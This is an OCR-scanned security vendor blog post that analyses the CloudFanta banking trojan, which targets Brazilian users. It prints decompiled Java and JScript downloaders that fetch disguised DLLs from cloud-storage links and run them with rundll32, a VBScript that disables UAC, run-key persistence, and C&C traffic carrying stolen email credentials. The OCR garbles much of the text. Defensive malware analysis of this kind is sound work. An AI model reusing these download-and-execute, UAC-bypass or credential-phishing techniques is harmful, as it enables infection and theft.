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CloudFanta Malware Campaign

Technical Analysis

October 25, 2016 | Ashwin Vamshi

We recently published an overview blog about the CloudFanta malware
campaign that uses the Sugarsync cloud storage app to deliver
malware capable of stealing user credentials and monitoring online
banking activities. This blog will detail the technical aspects of

CloudFanta.

Although CloudSquirrel and CloudFanta malware are not similar, we
believe that both malware campaigns are deployed by the same actor

based on the following similarities.

o Use of cloud services to download and deliver the malware and its
payloads.

« Infecting users by downloading malicious payloads (32-bit and 64-
bit executables) for performing data exfiltration.

o Targeting Brazilian users with the usage of similar file names such
as NF-9944132-br.PDF.jar and the parameters used to communicate

with the C&C server.
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Propagation / Delivery of
CloudFanta

CloudFanta malware typically arrives on the user’s machine as an
attachment or a link via a spear phishing email that lures the victim to

execute the file or click on the link.

The Sugarsync URL we observed delivering CloudFanta malware was at
https://www[.]sugarsync[.]Jcom/pf/D3202366_07280196_66523?direc

tDownload=true.

The downloaded zip archive “NF-9944132-br.zip” contained a
downloader JAR file “NF-9944132-br.PDF.jar” with the dual extension
“.PDF.jar.” The files retrieved by this downloader JAR are detected by
Netskope Threat Protection as Backdoor.Generckd.3549404,
Backdoor.Generckd.3540808, Backdoor.Generckd.18673650,

Backdoor.Generckd.3542220 and Gen:Variant.Symm.60013.

The visual depiction of protection from CloudFanta malware with

Netskope Threat Protection is shown below.
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Visual depiction of protection from CloudFanta malware with Netskope

Active Threat Protection

Analysis of the Downloader JAR
file

The JAR file contained the downloader functionality in the class file
“Fanta_Uva.class” and was also packaged with several other class files

to hinder the analysis as shown in Figure 1.



Abaixo.class . Acabou.class Amors.class 1. Arraes.class

CLASS File | cLassFile | cLassFile | cLassFie
101 bytes 101 bytes 99 bytes 101 bytes

1. Arriba.class 1. Biaeks.class 1. Biancask.class 1. Biel.class
CLASS File CLASS File CLASS File CLASS File
101 bytes 101 bytes 105 bytes 97 bytes

1. Cadasot.class 1. Caroline.class 1. Casa.class 1. CBR.class
CLASS File CLASS File CLASS File CLASS File
103 bytes 105 bytes 97 bytes 95 bytes

1. China.class 1. Claridade.class ... Dioli.class 1., Educacao.class
CLASS File CLASS File CLASS File CLASS File
99 bytes 107 bytes 99 bytes 105 bytes

1. familia.class . Fanta_Uva.class 1. Finalizando.class 1. Hintalo.class
CLASS File CLASS File CLASS File CLASS File
262 bytes 3.74KB 111 bytes 103 bytes

1, lol.class . ltalo.class i Jamilinha.class 1. JKii.class
CLASS File CLASS File CLASS File CLASS File
95 bytes 99 bytes 107 bytes 97 bytes

. Karolzinha.class . Mensias.class . Naksmw.class . Nandavisr.class
CLASS File CLASS File CLASS File CLASS File
109 bytes 103 bytes 140 bytes 838 bytes

1. Nhes.class . package-info.class 1. Pezitos.class 1. Redrey.class
CLASS File CLASS File CLASS File CLASS File
803 bytes 113 bytes 103 bytes 101 bytes

. Repsol.class L. Sexta.class 1. Silva.class
CLASS File CLASS File CLASS File
101 bytes 99 bytes 99 bytes

Figure 1: Files present inside the package of NF-9944132-br.PDF. jar

The decompiled code of “Fanta_Uva.class” illustrating the downloader

functionality is shown in Figure 2.

Inetdddress addr = Inetdddress.getLocalHost();
String segueoplac = "C:\\Users\\Public\\";
String santodeus = “C:\\Program Files (x86)";
String interios = addr.getHostName();
segqueoplac = sequeoplac + interios;

String calvario = "fda-1309";

String oi = segqueoplac + "\\" + "i" + "d";

File dir = new File(sequeoplac);
dir.mkdir();

File eita = new File{oi);

FileWriter fw = new Filellriter(eita.getdbsoluteFile());
Bufferediriter bw = new Bufferediriter(fw);
bw.write("al"”);

bw.close();

File file = new File{santodeus);

if (file.exists()) {
aotempodedeus ("https: //wiw. sugarsync. con/pf/D3202233_177_3759913187directDoimload=true”, segueoplac + "\\" + interios + ".twerk");
aotempodedeus ("https: //www, sugarsyne. con/pf/D3202233_177_3759913142directDovmload=true”, segueoplac + "\\" + interios + "tt.twerk");
aotempodedeus ("https: //wiw. sugarsync. con/pf/D3202233_177_3759913067directDoimload=true”, segueoplac + "\\" + interios + "ff.twerk"),

}

else

{
aotempodedeus ("https: //wiw. sugarsync. con/pf/D3202233_177_3759913982directDoimload=true”, segueoplac + "\\" + interios + ".twerk");
aotempodedeus ("https: //wiw. sugarsync. con/pf/D3202233_177_3759913147directDoimload=true”, segueoplac + "\\" + interios + "tt.twerk"),
aotempodedeus ("https: / /ww. sugarsync. com/pf/D3202233_177_3759913892directDoimload=true”, segueoplac + "\\" + interios + "ff.twerk");

}



Figure 2. Decompiled code of Fanta_Uva.class

Figure 2 illustrates that the malware retrieves the address of the local
host and its hostname using the Java class “InetAddress” and creates a
folder with the host name in the location “C:UsersPublic.” The
malware then begins to download additional files to this location using
a list of hard-coded Sugarsync links with the direct download
parameter. Before downloading the files, the malware checks for the
location “C:\Program Files (x86).” If the location is found, the malware
downloads the files p64.png, pg.png and s64.png, else the malware
downloads the files p32.png, pg.png and s32.png. We believe that the
location check is performed to determine if the victim is using a 64-bit

or 32-bit operating system.

The downloaded files which appear to be PNG images have the file
sizes ranging from 2MB to 9MB, which is very unusual for a normal
PNG file. The downloaded files are in fact executable DLL files carrying
a png extension as shown in Figure 3. Malware authors have typically
used this technique for bypassing network security devices such as

next-gen firewalls, intrusion detection systems, etc.



Dim Dn9sW, Tuthl

YlzEx22 = §1

For DnSsW = & To 1000576
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Figure 3: DLL files downloaded with .png extension from the hard-

coded Sugarsync URL’s

These DLL files are renamed with the hostname and then appended
with the extensions .twerk, tt.twerk and ff.twerk. For example, if the
hostname is Admin, the files are created in the location

“C:UsersPublicAdmin” as shown in Figure 4.



@ 'l | M C:\Users\Public\Admin

3 Favorites Name
B Desktop || Admin.twerk
& Downloads || Adminff.twerk
"=l Recent places || Admintt.twerk

L]i5

*d Homegroup L]id

1% This PC

‘I‘! Network

Figure 4. Files dropped in the machine with the hostname ‘Admin”

The malware also creates an empty file named “i5” and a file named
“id” containing the string “al” which is subsequently used as a
parameter to connect the C&C server. At the end, the downloader JAR
executes the DLL with the export function “Nath” using windows

rundll32.exe as shown in Figure 5.

ProcessBuilder huilder = new Processbuilder(new String(] { "C:\\iindows\\ystewd\\Rundll3.exe ', sequsoplac + "\ + Interios + "'+ "f." + "t" 4 "4 "e" 4 "+ K", "Nath", "' ));
builder, redirectBrrordtrean();

huilder, redirectOutput (),

Brocess process = huilder, start();

Figure 5: Execution of the DLL file with export function “Nath”

Analysis of the DLL files



The functionality of the 32-bit and the 64-bit DLL files are identical.
We have used the 32-bit version of the DLL files with the host nhame

“Admin” for analysis.

Analysis of the file — Adminff.twerk

On execution of the Adminff.twerk with export function “Nath,” it

connects to the C&C server as shown in Figure 6.

POST /conts/al/notify.php HTTP/1.@

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: @

Host:

Accept: text/html,application/xhtml+xml,application/xml;q=08.9,*/*;q=0.8
Accept-Encoding: identity

User-Agent: Mozilla/3.@ (compatible; Indy Library)

HTTP/1.1 208 OK

Figure 6: Connection to the C&C server by the DLL file, Adminff.twerk

The POST request notifies the C&C server that the victim has been
infected. The details of the IP address of infected users are collected
and stored in the file, “cnt.txt” on the C&C server with the URL path

“/conts/al/” as shown in Figure 7.



I! (i) /conts/al/

Index of /conts/al

Name Last modified Size Description
: Parent Directory -
cnt txt -2016 16:53 3.9K
m geoplugin class.php 22-Jun-2015 12:26 5.2K
@ go.php 22-Jun-2015 12:26 4. 1K
@ notify.php 22-Jun-2015 12:26 1.8K
Apache/2.2.22 (Ubuntu) Server at Port 80

Figure 7: Files present in the directory /conts/al of the C&C server.

The C&C server also contained a file named “go.php” with several

commands as shown in Figure 8.

I: ) /conts/al/go.php?all

'ver' exibe a lista de acessos

'limpar’ esvazia a lista

'quantia’ mostra a quantidade de acessos unicos
'all' comando extra para incluir acessos repetidos

Figure 8: Parameters used by go.php in the C&C
The commands translate to the following:

o ‘View’ - displays the access list

e ‘Clean’ - empties the list



e ‘Amount’ - shows the number of unique hits

o ‘All’ - extra command to include repeated access

Adminff.twerk contained two more URL paths containing “mn” and “pz”
which could be used to connect to the C&C server. However in our
analysis, Adminff.twerk used the URL path that contained “al,” which
was created by the downloader JAR file to connect to the C&C server as

shown in figure 9.

Address

O6AF5 088
06AF5 098
86AF50AS8
BOAF56BS8

Hex dump
69 60 60
35 60 68
64 060 608
61 688 6C
DOAFSHCE | 82 06 B0
O0AFS6D8 | FF FF FF

ASCII

04
04
04
(15

82
82
82
(15

88 FF
88 FF
88 FF
00 BO
68 6D 86 6E 68 06 86
FF 62 60 86 066 70 68

FF
FF
FF
04

FF
FF
FF
02
00
7R

FF
FF
FF
00
00
00

01
01
02
FF
BO
00

00
00
00
FF
04
00

00
00
00
FF
02
00

00
00
00
FF fa
0o
00

Figure 9: URL paths al, mn, pz used by the C&C

68 8850AF B0
68 ASSOAFBO
8D45 D8

BA 0830000080
E8 2AS53D8FF

PUSH Adminff.BBAF5088

PUSH Adminff.00AF50A8

LEA EAX,DWORD PTR SS:[EBP-28]
MOV EDX,3

CALL Adminff.B80887A0B8

8B55 D8 MOU EDX,DWORD PTR SS:[EBP-28]
8BC6 MOU EAX,ESI

8B68 MOV ECX,DWORD PTR DS:[EAX]
FF51 6C CALL DWORD PTR DS:[ECX+6C]

B2 61 MOU DL,1

A1 G6CEF8FBO
E8 D4D7E2FF
8BD8

MOU EAX,DWORD PTR DS:[8FEF6C]
CALL Adminff.B008922578
MOU EBX,EAX

UNICODE "i™
UNICODE *'d“

8D55 D4 LEA EDX,DWORD PTR SS:[EBP-2C]

8BC6 MOV EAX,ESI

8BO8 MOU ECX,DWORD PTR DS:[EAX]

FF51 1C CALL DWORD PTR DS:[ECX+1C]

8B55 D4 MOU EDX,DWORD PTR SS:[EBP-2C] Adminff . 8BAF4D6C

B9 610000068
B8 B850AF 686
E8 EESS5D8FF
85C6
-7E 35

MOU ECX,

MOU EAX,Adminff.00AFS0BS
CALL Adminff.0087A3B0

TEST EAX,EAX

JLE SHORT Adminff.BBAF4DFB

UNICODE 'al"



Adminff.twerk executes the file, Admintt.twerk, containing the export

function “Certeza” using rundll32.exe as shown in Figure 10.

800

L Th 60
68 2053AF 00
8045 EC
€8 16FAFFFF
FFT5 EC
68 9453 08
8045 £8
E O6FAFFFF
FFT5 £8
68 AS3AF 00
68 BSSIAFO0
68 CC53AF 08
8 DLS4F00
68 ECS3AF00
68 FCSIAF 08
68 OCSHAF 0
8045 FO
B 0BONO000
EB FBUEDSFF
804D £
B 2C55AF 0
8BAS F8
£8 B30BE7FF
68 20590F 09
£8 BOFOFFFF
FF75 €6
68 9U53AF00
8085 G
£8 AGFOFFFF
FF75 00
68 LUSHAF 00
68 BSSIAF00
68 CC53AF 00
68 DESIAF 0
68 ECS3AF00
68 FC53AF 08
68 SSLAF 0
845 EA
BA 0000000
£8 9BLEDSFF
8BAD EA
B 7054F 08
8845 F8
£8 230BETFF
3900

TEST AL, AL

JE SHORT Adminff . 00AFS1CD

PUSH Adninff .00AF5320

LEA EAX,DHORD PTR SS:[EBP-14]
BALL <hdninff. (Eettomuterlhne))
PUSH

PUSH Adinff . 00AFS30N

LEA EAX,

ssi[ew-1)
m (Mllllff (ﬂ!tco uterName>>
PUSH DORD PIR SS:(EBP-1]

PUSH Adminff.B0AFSIAL

PUSH AdninfF . B8AF53B8

PUSH Adninff . 00AFSICE

PUSH AdninfF . GBAFS3DC

PUSH AdninfF . BOAFSEC

PUSH AdninfF . B0AFSIFE

PUSH AdninfF . B0AFS4OL

LEA EAX,DHORD TR SS:[EBP=18]
HOU DX, 01

BALL <AdninfF .cCompiler Calldy
HOU ECX,ONORD PTR SS:[EBP-10]
HOU EDX ,AdminfF . 0BAF542C

HOU EAX ,DUORD PTR SS:[EBP-8]
CALL <hdminff.<Reg_CreateKeyd)
PUSH Adinff . ABAFS320

LEA EAX,DUORD PTR §S:[EBP-20]
CALL <hdninff.<GetConputerNane)>
PUSH DWORD TR S5

PUSH AdninfF . BOAF539H

LER EAX,DHORD PTR §52(E0P-24]
BALL ¢Adninff.<GetCo uterfane))
PUSH DMORD. PTR SS:[EBP

PUSH ﬁdldnff.tmsm

PUSH AdninfF . 00AF53B8

PUSH Adninff . 6BAFSCE

PUSH Adninff , BOAFSI0E

PUSH AdninfF . 60AFS3EL

PUSH AdninfF . 0BAFSFE

PUSH Adninff . 60AFS4SH

LEA EAX,DHORD PTR SS:[EBP-1C]
HOU EDY, 0B

BALL <Adninff .<Conpiler Call>)
1OV ECX, ‘ ]
HOU €O Adninff. mrsm ;
HOU EAX,DUORD' PTR SS:[EBP~
CALL <Adninff.<Reg. l:mtel(ey»
HOR EAX,EAX

UNICODE "C:\\windows\\System32\\rund1132.exe \"C:\\users\\Public\\"

fdninfF . 00870000
UNICODE "tt"
UNICODE ".t"
UNICODE "w*

UNICODE "e"

UNICODE "¢

UNICODE "k

UNICODE "\",Certeza"

UNICODE “WIN"

HKU\S-1-5-21-1960408961-1425521274-839522115-1003\Sof tware\Microsof t\Windovs\CurrentUersion\Run\NIN
UNICODE "C:\\windows\\Systemd2\\rund1132.exe \"C:\\users\\Public\\"

winspool.<ModuleEntryPoint>
UNICODE “fF"

UNICODE ".t"

UNICODE “w*

UNICODE “e"

UNICODE "r"

UNICODE k"

UNICODE "\",Nath"

ntdll.7c96118A
UNICODE “HiN7*

| HKU\S-1-5-21-196 040896 1-1425521274-839522115-1003\Sof tware\NicrosoFt\Windous\CurrentUersion\Run\HIN?

Figure 10: Execution of the DLL file with export function “Certeza”

Figure 10 also shows the creation of registry keys in the following

locations:



“HKUS-1-5-21-1960408961-1425521274-839522115-
1003SoftwareMicrosoftWindowsCurrentVersionRunWin7” for the
Adminff.twerk
“HKUS-1-5-21-1960408961-1425521274-839522115-
1003SoftwareMicrosoftWindowsCurrentVersionRunWin” for

Admintt.twerk

Analysis of the file Admintt.twerk

On execution of Admintt.twerk which contains the export function
“Certeza,” it connects to the C&C server and retrieves files from the
URL paths “/xx/config/nf.txt” and “/xx/config/msg.txt” as shown in

Figure 11.



GET /xor/config/nf.txt HTTP/1.1

Host:

Accept: text/html,application/xhtmltxml,application/wml;g=8.9,%/*;q=0.8
Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 208 0K

Date: Wed, 28 Sep 2016 18:10:52 GMT

Server: Apache/2.4.17 (Win32) OpensSL/1.8.2d PHP/5.5.35
Last-Modified: Tue, 28 Jun 2016 @3:15:57 GMT

ETag: "76-5364e0e3825ac"

Accept-Ranges: bytes

Content-Length: 118

Content-Type: text/plain

Comprovante-029.html

Comprovante de Dep.sito(URGENTE).

http:// [xx/config/Comprovante-829., himl
ENVIAR

GET /xx/config/msg.txt HTTP/1.1

Host:

Accept: text/html,application/xhtmltxml,application/wml;g=0.9,%/*;q=0.8
Accept-Encoding: identity

User-Agent: Mozilla/3.8 (compatible; Indy Library)

HTTP/1.1 280 OK

Date: Wed, 28 Sep 2016 18:10:53 GMT

Server: Apache/2.4,17 (Win32) OpenSSL/1.8.2d PHP/5.5.35
Last-odified: Wed, 28 Sep 2016 85:53:25 GMT

ETag: "173-53d8afac6260c”

Accept-Ranges: bytes

Content-Length: 371

Content-Type: text/plain

Comprovante de Dep.sito Autom.tico

(liente: 311203
Documento: 106602093602-1

Opera..o realizada en ( 28-89-2016 ) as ( @7:19 horas )

Pagamento de associades, favor verificar os dades no link abaixo e
encaminhar confirma..o para nossa central. Obrigado.

Valor: R$ 3.340,80 reais

http://bit.ly/

Figure 11.: Admintt.twerk retrieving two files from the C&C server

This malware can harvest email credentials - email address, username,

and password for various email services from the victim and can

upload them to the C&C server. The strings present in the

Admintt.twerk binary analyzed by Netskope Threat Research Labs

indicate several email address that are being monitored with an intent

of stealing user credentials as shown in Figure 12.



0000002CBODO 000000&CBCDO 0 C:\Users\Public\wb.c

0000002CB108 000000eCBDO8 0 LISTA

0000002CB1FC 0000006CBDFC 0 WwWww.gmail.com

0000002CBEED 0000006CCZEQ 0 Todes os contatos

0000002CB7&C 000000&CC3&C 0 LISTA

0000002CB784 000000eCC384 0 C:\Users\Public\gm.c

0000002CB8BO 000000eCC4BO 0 https://mail _terra.com.br/

0000002CBSDO 000000&CC5D0 0 www.ucl.com.br

0000002CBF30 000000&CCB30 0 "editContact |

0000002CBFSC 000000&CCBSC 0 "http://wm.imquol .com/vl/icos/ico _seta right.gif"
0000002CC018 000000eCCC18 0 LISTA

0000002CC030 000000&CCC30 0 C:\Users\Publich\ul.c

0000002CC154 000000&CCD54 0 www.bol.com.br

0000002CCeB4 000000eCDZB4 0 "editContact (

0000002CC720 000000eCD320 0 "http://wm.imguol.com/vl/icos/ico_seta right.gif"
0000002CC75C 0000008CD35C 0 LISTA

0000002CC7B4 000000&CD3B4 0 C:\Users\Public\bl.c

0000002CEB7C 000000&eCF77C 0 JjQuery("§Message_envelope_to") .legacyautccomplete([
0000002CEC04 000000eCFB804 0 &quot;

0000002CECS0 000000&CF850 0 LISTA

0000002CECe8 000000&CFB8€8 0 C:\Users\Public\tr.c

0000002CFeAs 000000€D02ZAS8 0 Todos os contates

0000002CF&D8 000000€eD02D8 0 https://mail _gocgle.com/mail/

0000002CF718 000000€D0318 0 https://mail _gocgle.com/mail/h/?&v=clapnl=a
0000002CF77C 000000€eD037C 0 Fazer login para prosseguir

0000002CF7DC 000000€D03DC 0 input

0000002CF808 000000eD0408 0 id=Email

0000002CF828 000000€D0428 0 id="Email"

0000002CF858 000000€D0458 0 id=Passwd

0000002CF878 000000€D0478 0 id="Passwd"

0000002CF85C 0000006D045C 0 signlIn

0000002D040C 000000€D100C 0 WMO0l-paginationCtrls WMOl-buttenl
0000002D045C 000000€D105C 0 Todes os direiteos reservados

Figure 12. Strings showing the data collected and uploaded to the

C&C server.

If the monitored email service is accessed from an infected machine,
the victim’s email login page would be redirected to a phished login
page to acquire the credentials. In our analysis, the malware presented

us the phished Gmail login page as shown in Figure 13.



Apenas uma conta. Tudo o que o
Google oferece.

Fazer login para prosseguir para o Gmail

’g:

Continuar conectado  Esqueceu a senha?

Criar uma conta

Uma Conta do Google para tudo o que o Google
oferece

Figure 13. Phished Gmail login page displayed to the victim

On entering the login details the victim’s credentials are uploaded to
the C&C server as shown in Figure 14. The victim is then redirected to

the original Gmail login page.



POST /xx/manda.php HTTP/1.8

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 37

Host: :

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: identity

User-Agent: Mozilla/3.@ (compatible; Indy Library)

op=gm&log= t40gmail . com¥3B HTTP/1.1 208 OK
Date:

Server: Apache/2.4.17 (Win32) OpenSSL/1.8.2d PHP/5.5.35
X-Powered-By: PHP/5.5.35

Content-Length: 884

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

Figure 14. Infected user credentials uploaded to the C&C server.

All the credentials collected from the victims using gmail.com are
saved in the file “gm.txt” in the C&C server. The C&C server also
hosted several other files containing email address and credentials of

infected users as shown in Figure 15.



Index of /xx

Name Last modified Size Description
a Parent Directory -
(C3 config/ 2016-06-28 00:14 -
3 dd/ 2016-05-31 15:09 -
face.txt 2016-09-28 13:28 166K
fe txt 2016-09-28 14:28 42K
gm txt 2016-09-28 14:14 117K
listBL txt 2016-09-28 13:41 25K
1istGM txt 2016-09-28 13:05 186K
1istTR txt 2016-09-28 11:31 149K
listUL .txt 2016-09-28 12:12 59K
listYH txt 2016-09-28 12:10 27K
manda. php 2016-09-28 11:46 51K
ms.txt 2016-09-28 14:12 238K
relatGM. txt 2016-09-28 14:34 817
sm.txt 2016-09-28 14:18 66K
Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.5.35 Server at Port 80

Figure 15. Files present in the directory /xx of the C&C server

If the string present in the “id” file created by the Downloader JAR file
is “mn,” Admintt.twerk will connect to another C&C server for sending
the victim’s email credentials. This C&C server also hosted several files

containing email credentials as shown in Figure 16.



® o

Index of /xx

Name Last modified Size Description
a Parent Directory =
fo txt 2016-09-27 11:04 462K
gm txt 2016-09-30 17-14 147K
mandaphp  2015-09-1001:21 50K
ms txt 2016-09-30 21:16 196K
[?) proce rar 2015-07-21 14:14 885K
sm txt 2016-09-30 23:33 77K
Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.6.15 Server at Port 80

Figure 16. Files present in the directory /xx of the other C&C server

At the time of publishing, we found the servers contained more than
26,000 email addresses and credentials collected from the infected

users.

The config folder of the C&C server contained a HTML page

“Comprovante-029.html” as shown in Figure 17.



' (i) ot/ config/Comprovante-029.html

Comprovante de Depésito Automatico

Cliente: 311203
Documento: 100002993002-1

Operacéo realizada em ( 20-06-2016 ) as ( 17:19 horas )

Pagamento de associados, favor verificar os dados em anexo e
encaminhar confirmacéo para nossa central. Obrigado.

Valor: R$ 3.340,00 reais

Opcéo 1. Anexo-Fiscal-768765/2016

Opcéo 2: Anexo-Fiscal768734/2016

Opcéo 3. Anexo-Fiscal768232/2016

Figure 17: Comprovante-029.html present in the location /xx/config

of the C&C server

The URLs referred by the hyperlinks of the html page are as shown in

Figure 18.



<TR>
<TD width=131 align=1eft><FONT color=$000000 size=3 face=Arial>inbap;<A
href="nttp:// Jwebcindario. com/contato"><IMG border=0
src="https://bitly.com/ "
width=118 height=167></A</FONT></TD>
<TD bgColor=;DFDFDF vAlign=top width=303 align=left>
<P align=1eft><FONT color=$000000 size=3 face=Arialdinbsp;Opgdo 1:&nbsp;

<A

href="http:// .webcindario. com/contato"><STRONG>Anexo-Fiscal-768765/2016</STRONGY</Ax</FONT></P>
<P align=1eft><FONT color=$000000 size=3 face=Arialdinbap;Opgéo 2:&nbsp;

<A

href="nttp:// Jiebcindario. com/contato"y<STRONGYAnexo-Fiscal768734/2016</ STRONGY</A</FONT /P>

<P align=1eft><FONT color=¢000000 size=3

face=Arial>énbap; Opgaosnbap; 3:énbap; <A

href="http:// Jwebcindario,com/contato"y<STRONGYAnexo-Fiscal768232/2016</ STRONGY</Ax</FONT </ P></TD></TR></TABLE>< /P>
<P<BRY</P></FONT><FONT style="BACKGROUND-COLOR: #ffffff" face=Arial></FONT>

Figure 18 URLs present in the file Comprovante-029.htm/

The data in the HTML page is used as template for the file, “msg.txt”
with bit.ly links. This file “msg.txt” was also present in the config
folder. The bit.ly links redirect to sugarsync cloud storage service for
delivering the JAR file and continuing the malware infection. We also
observed the bit.ly links are upadated on daily basis with a change of
date in msg.txt. For example the message displayed when we analyzed

the C&C server recently is shown in Figure 19.

I ! (i "¢/ config/msg.txt

Comprovante de Depdsito Automatico

Cliente: 59682
Documento: 10000285523002-1

Operacdo realizada em ( 30-09-2016 ) as ( 07:19 horas )

Pagamento de associados, favor verificar os dados no link abaixo e
encaminhar confirmagdc para nossa central. Obrigado.

Valor: RS 2.430,00 reais

heep://bit.1ly/



Figure 19: Message displayed from the file msg.txt in the C&C on 30

September

Analysis of the Banking Trojan —

Admin.twerk

Admin.twerk functions as a Banking trojan that monitors the activity of
users visiting the banking websites Caixa, Banco Bradesco, bb.com.br,

Sicredi and Banco do Brasil as shown in Figure 20.

UNICODE "Caixa - A vida pede mais que um banco"
UNICODE "Internet Banking"

UNICODE ""Banco Bradesco S/A"

UNICODE '"Banco Bradesco''

UNICODE "'SICREDI"

UNICODE "[bb.com.br]"

UNICODE '"Autoatendimento Pessoa F"

UNICODE '"Banco do Brasil"

UNICODE '"bancobrasil.com"

UNICODE "bb.com.br"

Figure 20. Activity of banking website monitored by the Admin.twerk

To gain full administrative privileges, Admin.twerk disables UAC (User
Account Control) by dropping a .vbs script in the user’s machine as

shown in Figure 21.



If WScript.Arcquuents.length =0 Then

Set objShell = CreateObject("Shell.Application™)

objShell.ShellExecute "“wscript.exe”, Chr(34) & _

WScript.ScriptFullName & Chr(34) & " uwac™, ", "runas"”, 1l

Const UAC_DISABLE = 0

Const UAC_REGKEY = "HKLM\S0FTWARE\Microsoft\Windows\CurrentVersion\Policies\Systen\EnableLUA"
Set Shell = CreateObject{ "Wicript.Shell™ )

Shell.Reglirite UAC_REGKEY, UAC_DISABLE, "REG DWORD™

Shell.Run "C:\WINDOWS\system32\shutdowm.exe -r -t 10"

end If

Figure 21. Script to disable User Account Control

Admin.twerk additionally terminates taskmgr.exe, Taskmgr.exe,
TASKMGR.exe, chrome.exe, Firefox.exe, msconfig.exe, regedit.exe,
itauaplicativo.exe, ccleaner.exe and ccleaner64.exe process if they are

found running on the system.

Admin.twerk uses a known technique for getting the victims banking
credentials even with the use of virtual keyboard. When virtual
keyboard is used, the malware captures the screenshot of the active
window for each mouse click with a text file detailing the number of
mouse clicks. The screenshots and the text file are saved in a folder
created in the location “C:UsersPublicAdminalfa” as shown in Figure

22.



fddress @C:1Users\Pub|ic\Admin\a|fa

Adrind jpg Anin2.jog N Adnin3.jpg
@Picturﬂasks Y li 1366 x 766 E 1366 x 766 l‘ 1366 x 766
JPEG Image JPEG Image JPEG Image

FieandFoder Tasks ¥l (7| Adnintt
= | Text Document
s W Screenshot is taken for every mouse click

Other Places

Details

B Admintxt -Notepad
Fle Edt Fomat View Heb

Admind.jpg A jpg
H 1366 % 768 “ 1366 x 766
JPEG Image JPEG Image

[mouse ¢lick]L [mouse c1ick]2 [mouse cTick]3 [mouse c1ick)4  [mouse ¢1ick]s

Figure 22. Screenshots and mouse clicks of the victim’s banking

credentials

The captured screenshots and the text file created based on the

mouse clicks helps the attacker to view the password of the victim.

Figure 23 shows an example of the screenshot taken while entering

the credentials using virtual keyboard.



B Cateatiord | Lnes Abierta Fios 1) 0 mo Pagev Sfetye Tocke @

Linea Abierta ¢ [Castellana ¥

Acceso a Linea Abierta

1 (deaticacita: Te ayudamos

Q
123456 (] Guardar identificacén 7 %.,,.\'t 4
(N

P i

2 [ntroduzca en el teclado que le mostramos por pantalla su
Nimero secreto personal -Z.Pmlil.

"o -
000800Q000

& Mostrer teclsdo con latras Borrar

& o0 ol teclado de In pantalia sy Numess Sscreto Parscnal

Entrar a Linea Abierta »

a Volyer

Figure 23. Screenshot showing the credentials of CaixaBank with

virtual keyboard.

Based on the string that is present within the “id” file, the data is

exfiltrated and uploaded to the C&C server is as shown in Figure 24.
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Figure 24. Details sent to the C&C server

Evolution of CloudFanta Malware

We have identified several strains of the malware using the “id” file,
contacting similar set of C&C hosts, using similar user-agent and
creating similar entries as this malware. We believe that this malware
campaign has been in operation since July 2016. After investigating all
the samples of this malware, we found that it did not use any
Sugarsync cloud storage apps in the initial set of the samples as

shown in Figure 25.



var uylbject, newfolder;

var Wshletwork = Wicript.CreateObject("Wicript, Network");

uy0bject = new ActiveXObject("Scripting, FilefystenObiect”);

uyObject. CreateFolder ("C:\\Userst\Publich) +ishietwork, Couputerliane) ;

var txt = new ActiveXObject("Scripting. FileSystenlbject”)

var 3 = txt,CreateTextFile("C:\\Users! |\ Publich ) "+ishletwork, Couputerlame+"\ 1id", true);

8. Writeline('al');

8.Close();

var wylbject;

uyObject = new ActiveXObject("Scripting, Filedystenlbiect”);

if (uyObject, FolderExists("c:\\Progran Files (x86)"))

{
noreninha"https: / /. sugacsyme., con/pt/DIZLE060_177 379089065 2dixectDomload=true”,"C:\\Usexs\\ Publich\"+ishietwork, CouputerNane+"\ \ "+ishNetwork, CouputerName+"tt., twerk”)
tuivinha("hteps: / /. sugarsyne, con/pt/D3218060_177 379069117 2directDomload=true”,"C1\\Users| | Publich\ "+UshNetvork. ConputetNae+"\ \ "+UshNetwork, ConputerNaue+", twerk”);
safadinha("https: / /v, sugarsyme, con/pf/D3IZLE060_177 379089036 2directDomload=true” ,"Ci\\Users\\ Public!\"ishNetwork. CouputerNane+"\\"+ishetwork. ConputerNane+"£f, twerk”
vat shell = nev ActiveXObject("Shell. Application”);
shell, ShellExecute("C:\\Uindowsl Systend2)\RundL132, exe”, "0+ \Users| \ Publich | "+Vshietvork, CouputerNane+ "\ \ “HishNetwork, ConputerNane+" £, tyerk Nath');
shell, ShellExecute("C:\\Windows) Systend2)\RundL132, exe”, “Ci\ \Users\ \ Publich | "+VshNetwork, CouputerNane+ "\ “Hishletwork, ConputerNaue+ ", tuerk, Certeza”);

else

noreninha("https: / /. sugareyme, cou/pe/D3ZLB060_177 379089065 directDomload=true”, i\ \Users)\ Publich | "+ishNetwork. ComputerNane+"\ |\ "+ishietwork. ComputerNane+tt. twerk”)
tuivinha(“https: //mw, sugarsyne, con/pf/D32L8060_177 379069181 directDomload=true”,"C: \\Users\ \ ublic)\ "+ishNetwork, ConputerNane+"| |\ "Hishletuork, CouputerNanet", twerk”) ;
safadinha("https: / /. sugarsyme, con/pf/DIZLE060_177_3790899407directDomload=true” ,"Ci\\Users\ Publich\"ishNetwork. CouputerNane+"\\"Hishietwork. ComputerNane+"£f, twerk”
var shell = new ActiveXObject("shell, Application”);

shell, shellExecute("C:\\Uindows\\ Systend2\\RundL 132, exe”, "Ci Y\ Usexs)\ Publich | "+VshNetwork, CouputerNane+ ™\ \ “HishNetwork, CouputerNane+" £, twerk Nath');

shell. shellExecute("C:\\Uindows\\ Systend2)\RundL132, exe”, "C: Y\ \Users| \ Publich | "+VshNetvork, CouputerNane+ "\ \ “HishNetwork, CouputerNaue+"te, tyerk, Certeza”);

Figure 25 Initial sample of CloudFanta without the use of Sugarsync

URL’s

Eventually the malware evolved and is now using Sugarsync to deliver
the malicious payloads. We even observed several strains of javascript
versions of CloudFanta malware. A snippet of one of the javascript

sample is shown in Figure 26.



public static void main(String[] paramdrray0fString)

{

paramdrray0fString = "http: //folows.webcindario.con/";
Object localObjectl = Inetdddress.getLocalHost():
String strl = "C:\\Users\\Public\\";

Object localObject2 = "C:\\Program Files (x86)";

localObjectl
strl

{(Inetiddress)localObjectl).getHostNane () ;
strl + (String)localObjectl;

String str2 = "MN374738";
